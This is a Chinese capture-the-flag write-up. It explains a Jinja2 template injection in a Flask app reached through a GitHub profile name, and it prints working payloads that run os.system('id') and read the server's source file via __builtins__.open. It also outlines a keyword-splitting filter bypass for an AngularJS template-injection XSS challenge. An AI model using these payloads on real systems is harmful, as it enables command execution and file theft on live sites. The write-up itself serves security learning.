FlagMan
使用GitHub Oauth登录,然后页面上就可以显示你的GitHub头像、用户名、用户id。常见的思路都想过了,发现不行,后来看到登录页面有个隐藏的Powered by Flask
,联想起最近的Jinjia2模板注入,应该是在GitHub的真实姓名的位置。
在 http://blog.knownsec.com/2016/02/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates/ 有一个POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
原理就是Jinjia2中可以访问空列表,然后[].__class__.__base__
是object
,object
的__subclasses__()
就是所有继承object
的类,依次类推,找到了一个导入了os模块的,然后取出来使用。如果能找到其他模块中导入了os也行,但是没有再去找。
但是发现网站是SAE的环境,不能执行命令,就决定读取一下代码看看,flag应该在里面。
为了简短代码,不用每次去去循环获取,就循环判断下索引
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}
得到索引是59
循环查看所有的模块
{% for i in range(0, 10) %} {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] }} {% endfor %}
发现有os
, __file__
, __builtins__
等,可以用open
但是要先知道当前文件名,所以
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}
得到文件名/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py
,然后读文件
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() }}
其实上面读取文件也不需要全部的路径,直接使用__file__
也行,一开始怕sae环境比较特殊。
这样就读了源代码,获取到了flag。
再看题目源码,发现模板内容写``就可以,虽然说和题目有点关系,flask中也经常使用app这个变量,但是一开始还是没想到。
xss
也是紧追潮流,是再早几天的AngularJS的模板注入。那时候看着英文版不错,还自己翻译了一部分,然后就发现360也出了翻译,还是基本能看的,就放弃了。。 文章在 http://bobao.360.cn/learning/detail/2597.html
第一步测试,发现将<>
替换成了下划线,过滤了一些词,比如eval
、onxxx
等,直接使用关键词把关键词拆开就好了,比如evevalal
,然后过滤后拼成了原来的关键词。
AngularJS模板注入的原理要比Jinjin2的复杂些,因为注入的代码并不能执行任意动作,因为AngularJS”沙箱”的存在,所以还是通过各种替换函数,将安全的函数替换成了危险函数来做的。其实对JS不是特别熟,文章也是看的一知半解的,不多说了。